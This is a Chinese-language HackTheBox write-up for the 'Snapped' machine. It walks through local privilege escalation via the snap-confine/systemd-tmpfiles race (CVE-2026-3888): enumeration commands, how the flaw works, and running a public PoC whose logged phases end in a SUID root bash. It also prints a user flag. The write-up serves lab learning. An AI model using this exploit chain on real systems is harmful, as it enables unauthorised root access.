Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Mar 20 12:27:50 2026 from 10.10.14.5
jonathan@snapped:~$
拿到普通用户的 shell,在其家目录中就能找到用户 flag:

九、CVE-2026-3888
接下来就是想如何提权成 root 用户。
查看当前用户有哪些 sudo 权限的命令:
bash
jonathan@snapped:~$ cat user.txt
3d637113e773040f43dfe7ee2db9f800
jonathan@snapped:~$ sudo -l
[sudo] password for jonathan:
Sorry, user jonathan may not run sudo on snapped.
找不到。
查找有 SUID 且属主为 root 的文件:
bash
jonathan@snapped:~$ find / -type f -perm -04000 -ls 2>/dev/null
293 133 -rwsr-xr-x 1 root root 135960 Apr 24 2024 /snap/snapd/21759/usr/lib/snapd/snap-confine
880 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /snap/core22/1564/usr/bin/chfn
886 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /snap/core22/1564/usr/bin/chsh
952 71 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /snap/core22/1564/usr/bin/gpasswd
1036 47 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /snap/core22/1564/usr/bin/mount
1045 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /snap/core22/1564/usr/bin/newgrp
1060 59 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /snap/core22/1564/usr/bin/passwd
1178 55 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /snap/core22/1564/usr/bin/su
1179 227 -rwsr-xr-x 1 root root 232416 Apr 3 2023 /snap/core22/1564/usr/bin/sudo
1239 35 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /snap/core22/1564/usr/bin/umount
1331 35 -rwsr-xr-- 1 root uuidd 35112 Oct 25 2022 /snap/core22/1564/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2600 331 -rwsr-xr-x 1 root root 338536 Jun 26 2024 /snap/core22/1564/usr/lib/openssh/ssh-keysign
8626 19 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /snap/core22/1564/usr/libexec/polkit-agent-helper-1
27181 64 -rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
26576 40 -rwsr-xr-x 1 root root 39296 Apr 8 2024 /usr/bin/fusermount3
36279 40 -rwsr-xr-x 1 root root 39296 Mar 6 11:00 /usr/bin/umount
72996 16 -rwsr-xr-x 1 root root 14656 Sep 23 2025 /usr/bin/vmware-user-suid-wrapper
39252 56 -rwsr-xr-x 1 root root 55680 Mar 6 11:00 /usr/bin/su
27092 76 -rwsr-xr-x 1 root root 76248 May 30 2024 /usr/bin/gpasswd
26409 272 -rwsr-xr-x 1 root root 277936 Mar 2 07:56 /usr/bin/sudo
25924 72 -rwsr-xr-x 1 root root 72792 May 30 2024 /usr/bin/chfn
48592 32 -rwsr-xr-x 1 root root 30952 Dec 2 2024 /usr/bin/pkexec
26915 44 -rwsr-xr-x 1 root root 44760 May 30 2024 /usr/bin/chsh
35539 52 -rwsr-xr-x 1 root root 51584 Mar 6 11:00 /usr/bin/mount
27438 40 -rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp
72088 336 -rwsr-xr-x 1 root root 342632 Mar 4 12:55 /usr/lib/openssh/ssh-keysign
28055 36 -rwsr-xr-- 1 root messagebus 34960 Aug 8 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
52729 20 -rwsr-xr-x 1 root root 18736 Dec 2 2024 /usr/lib/polkit-1/polkit-agent-helper-1
35133 156 -rwsr-xr-x 1 root root 159016 Aug 20 2024 /usr/lib/snapd/snap-confine
34789 16 -rwsr-sr-x 1 root root 14488 Oct 23 2025 /usr/lib/xorg/Xorg.wrap
42135 412 -rwsr-xr-- 1 root dip 420416 Apr 3 2024 /usr/sbin/pppd
没有常规的 SUID 提权,但是了解 HackTheBox 的应该都知道,靶机的命名是很有讲究的,本靶机的名字叫做 Snapped,因此我们可以重点关注:
bash
/snap/snapd/21759/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine
查看当前系统中 Snap 相关组件的版本信息:
bash
jonathan@snapped:~$ snap version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
jonathan@snapped:~$
搜索提权 CVE:

这里还是提到了之前说的技巧,即引入特殊的信息(snap-confine)。
这个仓库(https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE)中有 Poc,可以直接提权至 root。
先介绍一下这个 CVE,下面是漏洞数据库([NVD - CVE-2026-3888 --- NVD - CVE-2026-3888](https://nvd.nist.gov/vuln/detail/CVE-2026-3888))中的描述:

漏洞出现的原因在于 snap-confine 与 systemd-tmpfiles 这两个系统组件之间的交互缺陷。
systemd-tmpfiles 会以 root 身份每天运行一次,会自动清理 /tmp 中超过时间阈值的旧文件和目录,具体的时间在配置文件中可以看到:
bash
jonathan@snapped:~$ cat /usr/lib/tmpfiles.d/tmp.conf
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
# See tmpfiles.d(5) for details
# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 4m
#q /var/tmp 1777 root root 30d
不难发现,靶场为了复现的方便,特意将时间设置成了 4m(4分钟)而不是原本的 30d(30天)。
snap-confine 组件负责为 snap 应用构建沙箱环境,在设置沙箱的时候会在 /tmp/snap-private-tmp/$SNAP/tmp(即沙箱内的 /tmp)下创建 /tmp/.snap 目录(root 所有,mode 0755),用于创建 "mimic"。
什么是 mimic 呢?
snap 沙箱使用 squashfs 作为基础文件系统(部分目录是只读的)。当 snap-confine 需要 bind-mount 某个第三方库目录(如 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0)时 ,它必须先在只读文件系统上创造一个可写的挂载点(这个创建挂载点的过程就是 mimic)。
就以 /usr/lib/x86_64-linux-gnu 为例子:
首先,/usr/lib/x86_64-linux-gnu,在只读 squashfs 上,不可写。
第一步:将该目录复制到 /tmp/.snap/ 当中作为备份。
bash
mount --rbind /usr/lib/x86_64-linux-gnu /tmp/.snap/usr/lib/x86_64-linux-gnu
第二步:将原始位置覆盖为可写层
bash
mount -t tmpfs tmpfs /usr/lib/x86_64-linux-gnu -o mode=0755
这会在原始只读位置(/usr/lib/x86_64-linux-gnu)挂上空的、可写的 tmpfs。
第三步:将备份内容回填
bash
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/libc.so.6 /usr/lib/x86_64-linux-gnu/libc.so.6
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/libpthread.so.0 /usr/lib/x86_64-linux-gnu/libpthread.so.0
... (逐个 bind-mount 所有文件和子目录)
将第一步中 /tmp/.snap/ 下保存的原始备份内容,逐一 bind-mount 回到新 tmpfs 上的原始位置。
现在得到的效果就是,原始目录中的内容没变,但是有了写权限。
回到 CVE,systemd-tmpfiles 对 /tmp 中的清理是"一视同仁"的,它不知道 /tmp/.snap 对 snap-confine 的重要性,一旦该目录在 10-30 天内未被访问,就会被自动删除。
而且 /tmp 本身是全局可写的,这也就意味着攻击者也可以在其中重新创建被删除的目录。
问题出现了,时间一到 systemd-tmpfiles 将 /tmp/.snap 清理,攻击者在其中伪造了一个 /tmp/.snap,在名字上确实看不出差别,但是这个目录的权限已经从 root 降为其他权限了(攻击者拥有的权限)。
那么,后续如果 snap-confine 进行了 mimic 操作,攻击者就可以采用竞态条件的方式,/tmp/.snap 中备份的信息进行添加 / 替换操作,在回 mount 的时候,这个被替换 / 添加的文件就会被写入原始路径。
以上就是漏洞的原理,至于 Poc,关键就是确认被替换的文件是什么。
仓库中用到的是 ld-linux-x86-64.so.2,将这个动态链接器替换成了 shellcode。
Linux 上每个动态链接的可执行文件在运行时,内核先加载的不是程序本身,而是动态链接器,由它负责加载所有依赖的
.so后再把控制权交给程序。
在沙箱内拿到 root 后,把 /bin/bash 复制到 /var/snap/firefox/common/ 并设 SUID,从宿主机执行它来逃逸沙箱,最终获得宿主机的 root shell。
将项目克隆到本地,这个 Poc 也有利用的要求:

首先第一个是 OS Version:
bash
jonathan@snapped:~$ cat /etc/issue
Ubuntu 24.04.4 LTS \n \l
刚好是描述中提到的版本之一。
第两点要求我们之前已经验证过了,验证后三点:
bash
jonathan@snapped:~$ snap list
Name Version Rev Tracking Publisher Notes
bare 1.0 5 latest/stable canonical✓ base
core22 20240731 1564 latest/stable canonical✓ base
firefox 129.0.2-1 4793 latest/stable/... mozilla✓ -
firmware-updater 0+git.5007558 127 1/stable/... canonical✓ -
gnome-42-2204 0+git.510a601 176 latest/stable/... canonical✓ -
gtk-common-themes 0.1-81-g442e511 1535 latest/stable/... canonical✓ -
snap-store 0+git.e3dd562 1173 2/stable/... canonical✓ -
snapd 2.63 21759 latest/stable canonical✓ snapd
snapd-desktop-integration 0.9 178 latest/stable/... canonical✓ -
存在 firefox 和 snap-store。
bash
jonathan@snapped:~$ systemctl is-active systemd-tmpfiles-clean.timer
active
确认 systemd-tmpfiles-clean.timer 已经启用。
bash
jonathan@snapped:~$ which busybox
/usr/bin/busybox
busybox 也存在目标系统上可用。
然后根据描述:

进行编译文件。
exploit对应的是 CVE 利用的自动化流程,librootshell.so就是用于替换的 shellcode
将编译得到的结果上传到目标服务器上:
bash
root@htb:~# scp exploit jonathan@10.129.45.91:/tmp/
jonathan@10.129.45.91's password:
exploit 100% 827KB 1.3MB/s 00:00
root@htb:~# scp librootshell.so jonathan@10.129.45.91:/tmp/
jonathan@10.129.45.91's password:
librootshell.so 100% 9056 63.1KB/s 00:00
重更登入 jonathan 的账号,并进入 /tmp 目录确认我们上传的文件存在:
jonathan@snapped:~$ cd /tmp
jonathan@snapped:/tmp$ ls
dbus-HpDMk1e5Dz
exploit
librootshell.so
nginx-ui-search-index-2039889097
nginx-ui.sock
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-colord.service-B2FuuE
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-fwupd.service-FrAufP
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-ModemManager.service-y0GD7S
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-polkit.service-WmBLmq
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-power-profiles-daemon.service-mOCsYi
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-switcheroo-control.service-hrD0Wa
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-logind.service-UY6kNV
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-oomd.service-7GblbQ
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-resolved.service-bRUFuw
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-timesyncd.service-DnQ6jL
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-upower.service-GI7bmc
VMwareDnD
jonathan@snapped:/tmp$
按照仓库描述:

没有 root 权限的情况下,直接运行:
bash
./exploit ./librootshell.so
但是这有个坑,我们按照这个命令运行的话,看输出日志:

librootshell.so 的路径中多进去一个 ./,这回导致第五阶段的利用失败,因此正确的用法是直接:
bash
./exploit librootshell.so
运行 Poc:
注意:这个 Poc 可能需要多次尝试才能成功。
第一阶段,进入沙箱,并获得沙箱的 PID号:
jonathan@snapped:/tmp$ ./exploit librootshell.so
================================================================
CVE-2026-3888 --- snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 22036
第二阶段:
bash
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
等待 systemd-tmpfiles 删除 .snap 目录。
不要被上面的"等待30天"的提示吓到,我们之前确认过,靶机为了方便我们复现,设置成了 4 分钟清理一次。
第三阶段:
bash
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_jRogxP//dev: No such file or directory
[+] Namespace destroyed.
会销毁缓存的挂载命名空间(动机:snap-confine 会缓存挂载命名空间,以便在后续启动 snap 时无需重建即可重复使用,如果旧的缓存命名空间仍然存在,snap-confine 将会复用它,并且永远不会从 /tmp/.snap 读取任何内容,这意味着攻击者的恶意目录将被忽略),通过诱发错误,确保下次启动 Snap 时必须从头构建一个全新的命名空间,此时它就会获取攻击者的内容。
第四阶段,竞态条件,写入 .snap 目录并替换动态链接器为 shellcode:
bash
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/22036/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 22366)...
[!] TRIGGER ? swapping directories...
[+] SWAP DONE ? race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 22366
后续的几个阶段完成了 shellcode 的执行并进行沙箱逃逸最终获得宿主机的 root shell:
bash
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
简单来讲,snap-confine(SetUID root)将加载伪造的动态加载器即 librootshell.so,该文件会调用 setreuid(0,0) 以及 execve("/tmp/sh")。 /tmp/sh 脚本使用 busybox 将 /bin/bash 复制到 /var/snap/firefox/common/bash 并为其设置 SetUID root 权限,之所以选择该路径是因为它可在 snap 命名空间内部写入而且主机也能访问,因此命名空间退出后,SUID bash 仍会保留。
这一部分 0xdf 大佬讲得非常好(他分了两个终端来查看文件创建、替换的过程),大家可以去看看他对本题的题解(
https://0xdf.gitlab.io/2026/04/01/htb-snapped.html)。
Poc 运行完毕之后,我们就直接获得了 root shell,接着查看 root flag:
